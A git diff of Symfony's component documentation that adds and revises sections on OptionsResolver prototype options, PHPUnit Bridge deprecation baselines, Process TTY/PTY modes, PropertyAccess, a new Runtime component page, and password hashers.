index 941d61de6c7..85f6c17a695 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -335,6 +335,8 @@ is thrown::
 In sub-classes, you can use :method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::addAllowedTypes`
 to add additional allowed types without erasing the ones already set.
 
+.. _optionsresolver-validate-value:
+
 Value Validation
 ~~~~~~~~~~~~~~~~
 
@@ -376,6 +378,21 @@ returns ``true`` for acceptable values and ``false`` for invalid values::
         // return true or false
     });
 
+.. tip::
+
+    You can even use the :doc:`Validator </validation>` component to validate the
+    input by using the :method:`Symfony\\Component\\Validator\\Validation::createIsValidCallable`
+    method::
+
+        use Symfony\Component\OptionsResolver\OptionsResolver;
+        use Symfony\Component\Validator\Constraints\Length;
+        use Symfony\Component\Validator\Validation;
+
+        // ...
+        $resolver->setAllowedValues('transport', Validation::createIsValidCallable(
+            new Length(['min' => 10 ])
+        ));
+
 In sub-classes, you can use :method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::addAllowedValues`
 to add additional allowed values without erasing the ones already set.
 
@@ -507,7 +524,7 @@ the closure::
 
             $resolver->setDefault('host', function (Options $options, $previousValue) {
                 if ('ssl' === $options['encryption']) {
-                    return 'secure.example.org'
+                    return 'secure.example.org';
                 }
 
                 // Take default value configured in the base class
@@ -717,6 +734,55 @@ In same way, parent options can access to the nested options as normal arrays::
     The fact that an option is defined as nested means that you must pass
     an array of values to resolve it at runtime.
 
+Prototype Options
+~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 5.3
+
+    Prototype options were introduced in Symfony 5.3.
+
+There are situations where you will have to resolve and validate a set of
+options that may repeat many times within another option. Let's imagine a
+``connections`` option that will accept an array of database connections
+with ``host``, ``database``, ``user`` and ``password`` each.
+
+The best way to implement this is to define the ``connections`` option as prototype::
+
+    $resolver->setDefault('connections', function (OptionsResolver $connResolver) {
+        $connResolver
+            ->setPrototype(true)
+            ->setRequired(['host', 'database'])
+            ->setDefaults(['user' => 'root', 'password' => null]);
+    });
+
+According to the prototype definition in the example above, it is possible
+to have multiple connection arrays like the following::
+
+    $resolver->resolve([
+        'connections' => [
+            'default' => [
+                'host' => '127.0.0.1',
+                'database' => 'symfony',
+            ],
+            'test' => [
+                'host' => '127.0.0.1',
+                'database' => 'symfony_test',
+                'user' => 'test',
+                'password' => 'test',
+            ],
+            // ...
+        ],
+    ]);
+
+The array keys (``default``, ``test``, etc.) of this prototype option are
+validation-free and can be any arbitrary value that helps differentiate the
+connections.
+
+.. note::
+
+    A prototype option can only be defined inside a nested option and
+    during its resolution it will expect an array of arrays.
+
 Deprecating the Option
 ~~~~~~~~~~~~~~~~~~~~~~
 
@@ -817,7 +883,7 @@ method::
             $resolver->define('transport')
                 ->required()
                 ->default('transport')
-                ->allowedValues(['sendmail', 'mail', 'smtp']);
+                ->allowedValues('sendmail', 'mail', 'smtp');
         }
     }
 
diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index fea473f1229..01197d23411 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -222,10 +222,10 @@ message contains the ``"foobar"`` string.
 Making Tests Fail
 ~~~~~~~~~~~~~~~~~
 
-By default, any non-legacy-tagged or any non-`@-silenced <@-silencing operator>`_
+By default, any non-legacy-tagged or any non-silenced (`@-silencing operator`_)
 deprecation notices will make tests fail. Alternatively, you can configure
 an arbitrary threshold by setting ``SYMFONY_DEPRECATIONS_HELPER`` to
-``max[total]=320`` for instance. It will make the tests fails only if a
+``max[total]=320`` for instance. It will make the tests fail only if a
 higher number of deprecation notices is reached (``0`` is the default
 value).
 
@@ -289,6 +289,35 @@ Here is a summary that should help you pick the right configuration:
 |                        | cannot afford to use one of the modes above.        |
 +------------------------+-----------------------------------------------------+
 
+Baseline Deprecations
+.....................
+
+If your application has some deprecations that you can't fix for some reasons,
+you can tell Symfony to ignore them. The trick is to create a file with the
+allowed deprecations and define it as the "deprecation baseline". Deprecations
+inside that file are ignore but the rest of deprecations are still reported.
+
+First, generate the file with the allowed deprecations (run the same command
+whenever you want to update the existing file):
+
+.. code-block:: terminal
+
+    $ SYMFONY_DEPRECATIONS_HELPER='generateBaseline=true&baselineFile=./tests/allowed.json' ./vendor/bin/simple-phpunit
+
+This command stores all the deprecations reported while running tests in the
+given file path and encoded in JSON.
+
+Then, you can run the following command to use that file and ignore those deprecations:
+
+.. code-block:: terminal
+
+    $ SYMFONY_DEPRECATIONS_HELPER='baselineFile=./tests/allowed.json' ./vendor/bin/simple-phpunit
+
+.. versionadded:: 5.2
+
+    The ``baselineFile`` and ``generateBaseline`` options were introduced in
+    Symfony 5.2.
+
 Disabling the Verbose Output
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -350,6 +379,16 @@ the compiling and warming up of the container:
 
     The ``--deprecations`` option was introduced in Symfony 5.1.
 
+Log Deprecations
+~~~~~~~~~~~~~~~~
+
+For turning the verbose output off and write it to a log file instead you can use
+``SYMFONY_DEPRECATIONS_HELPER='logFile=/path/deprecations.log'``.
+
+.. versionadded:: 5.3
+
+    The ``logFile`` option was introduced in Symfony 5.3.
+
 Write Assertions about Deprecations
 -----------------------------------
 
@@ -809,10 +848,16 @@ namespaces in the ``phpunit.xml`` file, as done for example in the
 
 Under the hood, a PHPUnit listener injects the mocked functions in the tested
 classes' namespace. In order to work as expected, the listener has to run before
-the tested class ever runs. By default, the mocked functions are created when the
-annotation are found and the corresponding tests are run. Depending on how your
-tests are constructed, this might be too late. In this case, you will need to declare
-the namespaces of the tested classes in your ``phpunit.xml.dist``.
+the tested class ever runs.
+
+By default, the mocked functions are created when the annotation are found and
+the corresponding tests are run. Depending on how your tests are constructed,
+this might be too late.
+
+You can either:
+
+* Declare the namespaces of the tested classes in your ``phpunit.xml.dist``;
+* Register the namespaces at the end of the ``config/bootstrap.php`` file.
 
 .. code-block:: xml
 
@@ -828,6 +873,16 @@ the namespaces of the tested classes in your ``phpunit.xml.dist``.
             </listener>
     </listeners>
 
+::
+
+    // config/bootstrap.php
+    use Symfony\Bridge\PhpUnit\ClockMock;
+    
+    // ...
+    if ('test' === $_SERVER['APP_ENV']) {
+        ClockMock::register('Acme\\MyClassTest\\');
+    }
+
 Modified PHPUnit script
 -----------------------
 
@@ -891,6 +946,18 @@ If you have installed the bridge through Composer, you can run it by calling e.g
     then set the ``SYMFONY_PHPUNIT_REMOVE`` env var to ``symfony/yaml``.
 
     It's also possible to set this env var in the ``phpunit.xml.dist`` file.
+    
+.. tip::
+
+    It is also possible to require additional packages that will be installed along
+    the rest of the needed PHPUnit packages using the ``SYMFONY_PHPUNIT_REQUIRE``
+    env variable. This is specially useful for installing PHPUnit plugins without
+    having to add them to your main ``composer.json`` file.
+
+.. versionadded:: 5.3
+
+    The ``SYMFONY_PHPUNIT_REQUIRE`` env variable was introduced in
+    Symfony 5.3.
 
 Code Coverage Listener
 ----------------------
diff --git a/components/process.rst b/components/process.rst
index f89935036f1..1182b1c32a1 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -358,6 +358,35 @@ The input of a process can also be defined using `PHP streams`_::
     // will echo: 'foobar'
     echo $process->getOutput();
 
+Using TTY and PTY Modes
+-----------------------
+
+All examples above show that your program has control over the input of a
+process (using ``setInput()``) and the output from that process (using
+``getOutput()``). The Process component has two special modes that tweak
+the relationship between your program and the process: teletype (tty) and
+pseudo-teletype (pty).
+
+In TTY mode, you connect the input and output of the process to the input
+and output of your program. This allows for instance to open an editor like
+Vim or Nano as a process. You enable TTY mode by calling
+:method:`Symfony\\Component\\Process\\Process::setTty`::
+
+    $process = new Process(['vim']);
+    $process->setTty(true);
+    $process->run();
+
+    // As the output is connected to the terminal, it is no longer possible
+    // to read or modify the output from the process!
+    dump($process->getOutput()); // null
+
+In PTY mode, your program behaves as a terminal for the process instead of
+a plain input and output. Some programs behave differently when
+interacting with a real terminal instead of another program. For instance,
+some programs prompt for a password when talking with a terminal. Use
+:method:`Symfony\\Component\\Process\\Process::setPty` to enable this
+mode.
+
 Stopping a Process
 ------------------
 
@@ -389,22 +418,6 @@ instead::
     );
     $process->run();
 
-Using a Prepared Command Line
------------------------------
-
-You can run a process by using a prepared command line with double quote
-variable notation. This allows you to use placeholders so that only the
-parameterized values can be changed, but not the rest of the script::
-
-    use Symfony\Component\Process\Process;
-
-    $process = Process::fromShellCommandline('echo "$name"');
-    $process->run(null, ['name' => 'Elsa']);
-
-.. caution::
-
-    A prepared command line will not be escaped automatically!
-
 Process Timeout
 ---------------
 
@@ -513,10 +526,31 @@ Use :method:`Symfony\\Component\\Process\\Process::disableOutput` and
     However, it is possible to pass a callback to the ``start``, ``run`` or ``mustRun``
     methods to handle process output in a streaming fashion.
 
+Finding an Executable
+---------------------
+
+The Process component provides a utility class called
+:class:`Symfony\\Component\\Process\\ExecutableFinder` which finds
+and returns the absolute path of an executable::
+
+    use Symfony\Component\Process\ExecutableFinder;
+
+    $executableFinder = new ExecutableFinder();
+    $chromedriverPath = $executableFinder->find('chromedriver');
+    // $chromedriverPath = '/usr/local/bin/chromedriver' (the result will be different on your computer)
+
+The :method:`Symfony\\Component\\Process\\ExecutableFinder::find` method also takes extra parameters to specify a default value
+to return and extra directories where to look for the executable::
+
+    use Symfony\Component\Process\ExecutableFinder;
+
+    $executableFinder = new ExecutableFinder();
+    $chromedriverPath = $executableFinder->find('chromedriver', '/path/to/chromedriver', ['local-bin/']);
+
 Finding the Executable PHP Binary
 ---------------------------------
 
-This component also provides a utility class called
+This component also provides a special utility class called
 :class:`Symfony\\Component\\Process\\PhpExecutableFinder` which returns the
 absolute path of the executable PHP binary available on your server::
 
diff --git a/components/property_access.rst b/components/property_access.rst
index c99091c4e15..00c81f8eb7e 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -72,7 +72,7 @@ You can also use multi dimensional arrays::
         ],
         [
             'first_name' => 'Ryan',
-        ]
+        ],
     ];
 
     var_dump($propertyAccessor->getValue($persons, '[0][first_name]')); // 'Wouter'
@@ -225,7 +225,7 @@ The ``getValue()`` method can also use the magic ``__get()`` method::
 Magic ``__call()`` Method
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
-At last, ``getValue()`` can use the magic ``__call()`` method, but you need to
+Lastly, ``getValue()`` can use the magic ``__call()`` method, but you need to
 enable this feature by using :class:`Symfony\\Component\\PropertyAccess\\PropertyAccessorBuilder`::
 
     // ...
@@ -239,9 +239,7 @@ enable this feature by using :class:`Symfony\\Component\\PropertyAccess\\Propert
         {
             $property = lcfirst(substr($name, 3));
             if ('get' === substr($name, 0, 3)) {
-                return isset($this->children[$property])
-                    ? $this->children[$property]
-                    : null;
+                return $this->children[$property] ?? null;
             } elseif ('set' === substr($name, 0, 3)) {
                 $value = 1 == count($args) ? $args[0] : null;
                 $this->children[$property] = $value;
@@ -338,9 +336,7 @@ see `Enable other Features`_::
         {
             $property = lcfirst(substr($name, 3));
             if ('get' === substr($name, 0, 3)) {
-                return isset($this->children[$property])
-                    ? $this->children[$property]
-                    : null;
+                return $this->children[$property] ?? null;
             } elseif ('set' === substr($name, 0, 3)) {
                 $value = 1 == count($args) ? $args[0] : null;
                 $this->children[$property] = $value;
@@ -408,6 +404,45 @@ and ``removeChild()`` methods to access to the ``children`` property.
 
 If available, *adder* and *remover* methods have priority over a *setter* method.
 
+Using non-standard adder/remover methods
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Sometimes, adder and remover methods don't use the standard ``add`` or ``remove`` prefix, like in this example::
+
+    // ...
+    class PeopleList
+    {
+        // ...
+
+        public function joinPeople(string $people): void
+        {
+            $this->peoples[] = $people;
+        }
+
+        public function leavePeople(string $people): void
+        {
+            foreach ($this->peoples as $id => $item) {
+                if ($people === $item) {
+                    unset($this->peoples[$id]);
+                    break;
+                }
+            }
+        }
+    }
+
+    use Symfony\Component\PropertyInfo\Extractor\ReflectionExtractor;
+    use Symfony\Component\PropertyAccess\PropertyAccessor;
+
+    $list = new PeopleList();
+    $reflectionExtractor = new ReflectionExtractor(null, null, ['join', 'leave']);
+    $propertyAccessor = new PropertyAccessor(PropertyAccessor::DISALLOW_MAGIC_METHODS, PropertyAccessor::THROW_ON_INVALID_PROPERTY_PATH, null, $reflectionExtractor, $reflectionExtractor);
+    $propertyAccessor->setValue($person, 'peoples', ['kevin', 'wouter']);
+
+    var_dump($person->getPeoples()); // ['kevin', 'wouter']
+
+Instead of calling ``add<SingularOfThePropertyName>()`` and ``remove<SingularOfThePropertyName>()``, the PropertyAccess
+component will call ``join<SingularOfThePropertyName>()`` and ``leave<SingularOfThePropertyName>()`` methods.
+
 Checking Property Paths
 -----------------------
 
@@ -480,10 +515,10 @@ configured to enable extra features. To do that you could use the
     $propertyAccessorBuilder->enableMagicSet(); // enables magic __set
     $propertyAccessorBuilder->enableMagicMethods(); // enables magic __get, __set and __call
 
-    $propertyAccessorBuilder->disableMagicCall(); // enables magic __call
-    $propertyAccessorBuilder->disableMagicGet(); // enables magic __get
-    $propertyAccessorBuilder->disableMagicSet(); // enables magic __set
-    $propertyAccessorBuilder->disableMagicMethods(); // enables magic __get, __set and __call
+    $propertyAccessorBuilder->disableMagicCall(); // disables magic __call
+    $propertyAccessorBuilder->disableMagicGet(); // disables magic __get
+    $propertyAccessorBuilder->disableMagicSet(); // disables magic __set
+    $propertyAccessorBuilder->disableMagicMethods(); // disables magic __get, __set and __call
 
     // checks if magic __call, __get or __set handling are enabled
     $propertyAccessorBuilder->isMagicCallEnabled(); // true or false
diff --git a/components/runtime.rst b/components/runtime.rst
new file mode 100644
index 00000000000..b382c817c61
--- /dev/null
+++ b/components/runtime.rst
@@ -0,0 +1,500 @@
+.. index::
+   single: Runtime
+   single: Components; Runtime
+
+The Runtime Component
+======================
+
+    The Runtime Component decouples the bootstrapping logic from any global state
+    to make sure the application can run with runtimes like PHP-FPM, ReactPHP,
+    Swoole, etc. without any changes.
+
+.. versionadded:: 5.3
+
+    The Runtime component was introduced in Symfony 5.3.
+
+Installation
+------------
+
+.. code-block:: terminal
+
+    $ composer require symfony/runtime
+
+.. include:: /components/require_autoload.rst.inc
+
+Usage
+-----
+
+The Runtime component abstracts most bootstrapping logic as so-called
+*runtimes*, allowing you to write front-controllers in a generic way.
+For instance, the Runtime component allows Symfony's ``public/index.php``
+to look like this::
+
+    <?php
+    // public/index.php
+    use App\Kernel;
+
+    require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+
+    return function (array $context) {
+        return new Kernel($context['APP_ENV'], (bool) $context['APP_DEBUG']);
+    };
+
+So how does this front-controller work? At first, the special
+``autoload_runtime.php`` file is automatically created by the Composer plugin in
+the component. This file runs the following logic:
+
+#. It instantiates a :class:`Symfony\\Component\\Runtime\\RuntimeInterface`;
+#. The callable (returned by ``public/index.php``) is passed to the Runtime, whose job
+   is to resolve the arguments (in this example: ``array $context``);
+#. Then, this callable is called to get the application (``App\Kernel``);
+#. At last, the Runtime is used to run the application (i.e. calling
+   ``$kernel->handle(Request::createFromGlobals())->send()``).
+
+.. caution::
+
+    If you use the Composer ``--no-scripts`` option, make sure your Composer version
+    is ``>=2.1.3``; otherwise the ``autoload_runtime.php`` file won't be created.
+
+To make a console application, the bootstrap code would look like::
+
+    #!/usr/bin/env php
+    <?php
+    // bin/console
+
+    use App\Kernel;
+    use Symfony\Bundle\FrameworkBundle\Console\Application;
+
+    require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+
+    return function (array $context) {
+        $kernel = new Kernel($context['APP_ENV'], (bool) $context['APP_DEBUG']);
+
+        // returning an "Application" makes the Runtime run a Console
+        // application instead of the HTTP Kernel
+        return new Application($kernel);
+    };
+
+Selecting Runtimes
+------------------
+
+The default Runtime is :class:`Symfony\\Component\\Runtime\\SymfonyRuntime`. It
+works excellent on most applications running with a webserver using PHP-FPM like
+Nginx or Apache.
+
+The component also provides a :class:`Symfony\\Component\\Runtime\\GenericRuntime`,
+which uses PHP's ``$_SERVER``, ``$_POST``, ``$_GET``, ``$_FILES`` and
+``$_SESSION`` superglobals. You may also use a custom Runtime (e.g. to
+integrate with Swoole or AWS Lambda).
+
+Use the ``APP_RUNTIME`` environment variable or by specifying the
+``extra.runtime.class`` in ``composer.json`` to change the Runtime class:
+
+.. code-block:: json
+
+    {
+        "require": {
+            "...": "..."
+        },
+        "extra": {
+            "runtime": {
+                "class": "Symfony\\Component\\Runtime\\GenericRuntime"
+            }
+        }
+    }
+
+Using the Runtime
+-----------------
+
+A Runtime is responsible for passing arguments into the closure and run the
+application returned by the closure. The :class:`Symfony\\Component\\Runtime\\SymfonyRuntime` and
+:class:`Symfony\\Component\\Runtime\\GenericRuntime` supports a number of
+arguments and different applications that you can use in your
+front-controllers.
+
+Resolvable Arguments
+~~~~~~~~~~~~~~~~~~~~
+
+The closure returned from the front-controller may have zero or more arguments::
+
+    <?php
+    // public/index.php
+    use Symfony\Component\Console\Input\InputInterface;
+    use Symfony\Component\Console\Output\OutputInterface;
+
+    require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+
+    return function (InputInterface $input, OutputInterface $output) {
+        // ...
+    };
+
+The following arguments are supported by the ``SymfonyRuntime``:
+
+:class:`Symfony\\Component\\HttpFoundation\\Request`
+    A request created from globals.
+
+:class:`Symfony\\Component\\Console\\Input\\InputInterface`
+    An input to read options and arguments.
+
+:class:`Symfony\\Component\\Console\\Output\\OutputInterface`
+    Console output to print to the CLI with style.
+
+:class:`Symfony\\Component\\Console\\Application`
+    An application for creating CLI applications.
+
+:class:`Symfony\\Component\\Command\\Command`
+    For creating one line command CLI applications (using
+    ``Command::setCode()``).
+
+And these arguments are supported by both the ``SymfonyRuntime`` and
+``GenericRuntime`` (both type and variable name are important):
+
+``array $context``
+    This is the same as ``$_SERVER`` + ``$_ENV``.
+
+``array $argv``
+    The arguments passed to the command (same as ``$_SERVER['argv']``).
+
+``array $request``
+    With keys ``query``, ``body``, ``files`` and ``session``.
+
+Resolvable Applications
+~~~~~~~~~~~~~~~~~~~~~~~
+
+The application returned by the closure below is a Symfony Kernel. However,
+a number of different applications are supported::
+
+    <?php
+    // public/index.php
+    use App\Kernel;
+
+    require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+
+    return function () {
+        return new Kernel('prod', false);
+    };
+
+The ``SymfonyRuntime`` can handle these applications:
+
+:class:`Symfony\\Component\\HttpKernel\\HttpKernelInterface`
+    The application will be run with :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\HttpKernelRunner`
+    like a "standard" Symfony application.
+
+:class:`Symfony\\Component\\HttpFoundation\\Response`
+    The Response will be printed by
+    :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\ResponseRunner`::
+
+        <?php
+        // public/index.php
+        use Symfony\Component\HttpFoundation\Response;
+
+        require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+
+        return function () {
+            return new Response('Hello world');
+        };
+
+:class:`Symfony\\Component\\Console\\Command\\Command`
+    To write single command applications. This will use the
+    :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\ConsoleApplicationRunner`::
+
+        <?php
+
+        use Symfony\Component\Console\Command\Command;
+        use Symfony\Component\Console\Input\InputInterface;
+        use Symfony\Component\Console\Output\OutputInterface;
+
+        require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+
+        return function (Command $command) {
+            $command->setCode(function (InputInterface $input, OutputInterface $output) {
+                $output->write('Hello World');
+            });
+
+            return $command;
+        };
+
+:class:`Symfony\\Component\\Console\\Application`
+    Useful with console applications with more than one command. This will use the
+    :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\ConsoleApplicationRunner`::
+
+        <?php
+
+        use Symfony\Component\Console\Application;
+        use Symfony\Component\Console\Command\Command;
+        use Symfony\Component\Console\Input\InputInterface;
+        use Symfony\Component\Console\Output\OutputInterface;
+
+        require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+
+        return function (array $context) {
+            $command = new Command('hello');
+            $command->setCode(function (InputInterface $input, OutputInterface $output) {
+                $output->write('Hello World');
+            });
+
+            $app = new Application();
+            $app->add($command);
+            $app->setDefaultCommand('hello', true);
+
+            return $app;
+        };
+
+The ``GenericRuntime`` and ``SymfonyRuntime`` also support these generic
+applications:
+
+:class:`Symfony\\Component\\Runtime\\RunnerInterface`
+    The ``RunnerInterface`` is a way to use a custom application with the
+    generic Runtime::
+
+        <?php
+        // public/index.php
+        use Symfony\Component\Runtime\RunnerInterface;
+
+        require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+
+        return function () {
+            return new class implements RunnerInterface {
+                public function run(): int
+                {
+                    echo 'Hello World';
+
+                    return 0;
+                }
+            };
+        };
+
+``callable``
+    Your "application" can also be a ``callable``. The first callable will return
+    the "application" and the second callable is the "application" itself::
+
+        <?php
+        // public/index.php
+
+        require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+
+        return function () {
+            $app = function() {
+                echo 'Hello World';
+
+                return 0;
+            };
+
+            return $app;
+        };
+
+``void``
+    If the callable doesn't return anything, the ``SymfonyRuntime`` will assume
+    everything is fine::
+
+        <?php
+
+        require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+
+        return function () {
+            echo 'Hello world';
+        };
+
+Using Options
+~~~~~~~~~~~~~
+
+Some behavior of the Runtimes can be modified through runtime options. They
+can be set using the ``APP_RUNTIME_OPTIONS`` environment variable::
+
+    <?php
+
+    $_SERVER['APP_RUNTIME_OPTIONS'] = [
+        'project_dir' => '/var/task',
+    ];
+
+    require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+
+    // ...
+
+You can also configure ``extra.runtime.options`` in ``composer.json``:
+
+.. code-block:: json
+
+    {
+        "require": {
+            "...": "..."
+        },
+        "extra": {
+            "runtime": {
+                "project_dir": "/var/task"
+            }
+        }
+    }
+
+The following options are supported by the ``SymfonyRuntime``:
+
+``env`` (default: ``APP_ENV`` environment variable, or ``"dev"``)
+    To define the name of the environment the app runs in.
+``disable_dotenv`` (default: ``false``)
+    To disable looking for ``.env`` files.
+``dotenv_path`` (default: ``.env``)
+    To define the path of dot-env files.
+``use_putenv``
+    To tell Dotenv to set env vars using ``putenv()`` (NOT RECOMMENDED).
+``prod_envs`` (default: ``["prod"]``)
+    To define the names of the production envs.
+``test_envs`` (default: ``["test"]``)
+    To define the names of the test envs.
+
+Besides these, the ``GenericRuntime`` and ``SymfonyRuntime`` also support
+these options:
+
+``debug`` (default: the value of the env var defined by ``debug_var_name`` option
+    (usually, ``APP_DEBUG``), or ``true`` if such env var is not defined)
+    Toggles the :ref:`debug mode <debug-mode>` of Symfony applications (e.g. to
+    display errors)
+``runtimes``
+    Maps "application types" to a ``GenericRuntime`` implementation that
+    knows how to deal with each of them.
+``error_handler`` (default: :class:`Symfony\\Component\\Runtime\\Internal\\BasicErrorHandler` or :class:`Symfony\\Component\\Runtime\\Internal\\SymfonyErrorHandler` for ``SymfonyRuntime``)
+    Defines the class to use to handle PHP errors.
+``env_var_name`` (default: ``"APP_ENV"``)
+    Defines the name of the env var that stores the name of the
+    :ref:`configuration environment <configuration-environments>`
+    to use when running the application.
+``debug_var_name`` (default: ``"APP_DEBUG"``)
+    Defines the name of the env var that stores the value of the
+    :ref:`debug mode <debug-mode>` flag to use when running the application.
+
+.. versionadded:: 5.4
+
+    The ``env_var_name`` and ``debug_var_name`` options were introduced in Symfony 5.4.
+
+Create Your Own Runtime
+-----------------------
+
+This is an advanced topic that describes the internals of the Runtime component.
+
+Using the Runtime component will benefit maintainers because the bootstrap
+logic could be versioned as a part of a normal package. If the application
+author decides to use this component, the package maintainer of the Runtime
+class will have more control and can fix bugs and add features.
+
+.. note::
+
+    Before Symfony 5.3, the Symfony bootstrap logic was part of a Flex recipe.
+    Since recipes are rarely updated by users, bug patches would rarely be
+    installed.
+
+The Runtime component is designed to be totally generic and able to run any
+application outside of the global state in 6 steps:
+
+#. The main entry point returns a *callable* (the "app") that wraps the application;
+#. The *app callable* is passed to ``RuntimeInterface::getResolver()``, which returns
+   a :class:`Symfony\\Component\\Runtime\\ResolverInterface`. This resolver returns
+   an array with the app callable (or something that decorates this callable) at
+   index 0 and all its resolved arguments at index 1.
+#. The *app callable* is invoked with its arguments, it will return an object that
+   represents the application.
+#. This *application object* is passed to ``RuntimeInterface::getRunner()``, which
+   returns a :class:`Symfony\\Component\\Runtime\\RunnerInterface`: an instance
+   that knows how to "run" the application object.
+#. The ``RunnerInterface::run(object $application)`` is called and it returns the
+   exit status code as `int`.
+#. The PHP engine is exited with this status code.
+
+When creating a new runtime, there are two things to consider: First, what arguments
+will the end user use? Second, what will the user's application look like?
+
+For instance, imagine you want to create a runtime for `ReactPHP`_:
+
+**What arguments will the end user use?**
+
+For a generic ReactPHP application, no special arguments are
+typically required. This means that you can use the
+:class:`Symfony\\Component\\Runtime\\GenericRuntime`.
+
+**What will the user's application look like?**
+
+There is also no typical React application, so you might want to rely on
+the `PSR-15`_ interfaces for HTTP request handling.
+
+However, a ReactPHP application will need some special logic to *run*. That logic
+is added in a new class implementing :class:`Symfony\\Component\\Runtime\\RunnerInterface`::
+
+    use Psr\Http\Message\ServerRequestInterface;
+    use Psr\Http\Server\RequestHandlerInterface;
+    use React\EventLoop\Factory as ReactFactory;
+    use React\Http\Server as ReactHttpServer;
+    use React\Socket\Server as ReactSocketServer;
+    use Symfony\Component\Runtime\RunnerInterface;
+
+    class ReactPHPRunner implements RunnerInterface
+    {
+        private $application;
+        private $port;
+
+        public function __construct(RequestHandlerInterface $application, int $port)
+        {
+            $this->application = $application;
+            $this->port = $port;
+        }
+
+        public function run(): int
+        {
+            $application = $this->application;
+            $loop = ReactFactory::create();
+
+            // configure ReactPHP to correctly handle the PSR-15 application
+            $server = new ReactHttpServer(
+                $loop,
+                function (ServerRequestInterface $request) use ($application) {
+                    return $application->handle($request);
+                }
+            );
+
+            // start the ReactPHP server
+            $socket = new ReactSocketServer($this->port, $loop);
+            $server->listen($socket);
+
+            $loop->run();
+
+            return 0;
+        }
+    }
+
+By extending the ``GenericRuntime``, you make sure that the application is
+always using this ``ReactPHPRunner``::
+
+    use Symfony\Component\Runtime\GenericRuntime;
+    use Symfony\Component\Runtime\RunnerInterface;
+
+    class ReactPHPRuntime extends GenericRuntime
+    {
+        private $port;
+
+        public function __construct(array $options)
+        {
+            $this->port = $options['port'] ?? 8080;
+            parent::__construct($options);
+        }
+
+        public function getRunner(?object $application): RunnerInterface
+        {
+            if ($application instanceof RequestHandlerInterface) {
+                return new ReactPHPRunner($application, $this->port);
+            }
+
+            // if it's not a PSR-15 application, use the GenericRuntime to
+            // run the application (see "Resolvable Applications" above)
+            return parent::getRunner($application);
+        }
+    }
+
+The end user will now be able to create front controller like::
+
+    <?php
+
+    require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+
+    return function (array $context) {
+        return new SomeCustomPsr15Application();
+    };
+
+.. _ReactPHP: https://reactphp.org/
+.. _`PSR-15`: https://www.php-fig.org/psr/psr-15/
diff --git a/components/security/authentication.rst b/components/security/authentication.rst
index f98be723749..dc93ce931da 100644
--- a/components/security/authentication.rst
+++ b/components/security/authentication.rst
@@ -121,15 +121,17 @@ the given password is valid.
 
 This functionality is offered by the :class:`Symfony\\Component\\Security\\Core\\Authentication\\Provider\\DaoAuthenticationProvider`.
 It fetches the user's data from a :class:`Symfony\\Component\\Security\\Core\\User\\UserProviderInterface`,
-uses a :class:`Symfony\\Component\\Security\\Core\\Encoder\\PasswordEncoderInterface`
+uses a :class:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasherInterface`
 to create a hash of the password and returns an authenticated token if the
 password was valid::
 
+    use Symfony\Component\PasswordHasher\Hasher\PasswordHasherFactoryInterface;
     use Symfony\Component\Security\Core\Authentication\Provider\DaoAuthenticationProvider;
-    use Symfony\Component\Security\Core\Encoder\EncoderFactory;
     use Symfony\Component\Security\Core\User\InMemoryUserProvider;
     use Symfony\Component\Security\Core\User\UserChecker;
 
+    // The 'InMemoryUser' class was introduced in Symfony 5.3.
+    // In previous versions it was called 'User'
     $userProvider = new InMemoryUserProvider(
         [
             'admin' => [
@@ -143,14 +145,14 @@ password was valid::
     // for some extra checks: is account enabled, locked, expired, etc.
     $userChecker = new UserChecker();
 
-    // an array of password encoders (see below)
-    $encoderFactory = new EncoderFactory(...);
+    // an array of password hashers (see below)
+    $hasherFactory = new PasswordHasherFactoryInterface(...);
 
     $daoProvider = new DaoAuthenticationProvider(
         $userProvider,
         $userChecker,
         'secured_area',
-        $encoderFactory
+        $hasherFactory
     );
 
     $daoProvider->authenticate($unauthenticatedToken);
@@ -163,69 +165,76 @@ password was valid::
     It is also possible to let multiple user providers try to find the user's
     data, using the :class:`Symfony\\Component\\Security\\Core\\User\\ChainUserProvider`.
 
-The Password Encoder Factory
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+.. _the-password-encoder-factory:
+
+The Password Hasher Factory
+~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 The :class:`Symfony\\Component\\Security\\Core\\Authentication\\Provider\\DaoAuthenticationProvider`
-uses an encoder factory to create a password encoder for a given type of
-user. This allows you to use different encoding strategies for different
-types of users. The default :class:`Symfony\\Component\\Security\\Core\\Encoder\\EncoderFactory`
-receives an array of encoders::
+uses a factory to create a password hasher for a given type of user. This allows
+you to use different hashing strategies for different types of users.
+The default :class:`Symfony\\Component\\PasswordHasher\\Hasher\\PasswordHasherFactory`
+receives an array of hashers::
 
     use Acme\Entity\LegacyUser;
-    use Symfony\Component\Security\Core\Encoder\EncoderFactory;
-    use Symfony\Component\Security\Core\Encoder\MessageDigestPasswordEncoder;
-    use Symfony\Component\Security\Core\User\User;
+    use Symfony\Component\PasswordHasher\Hasher\MessageDigestPasswordHasher;
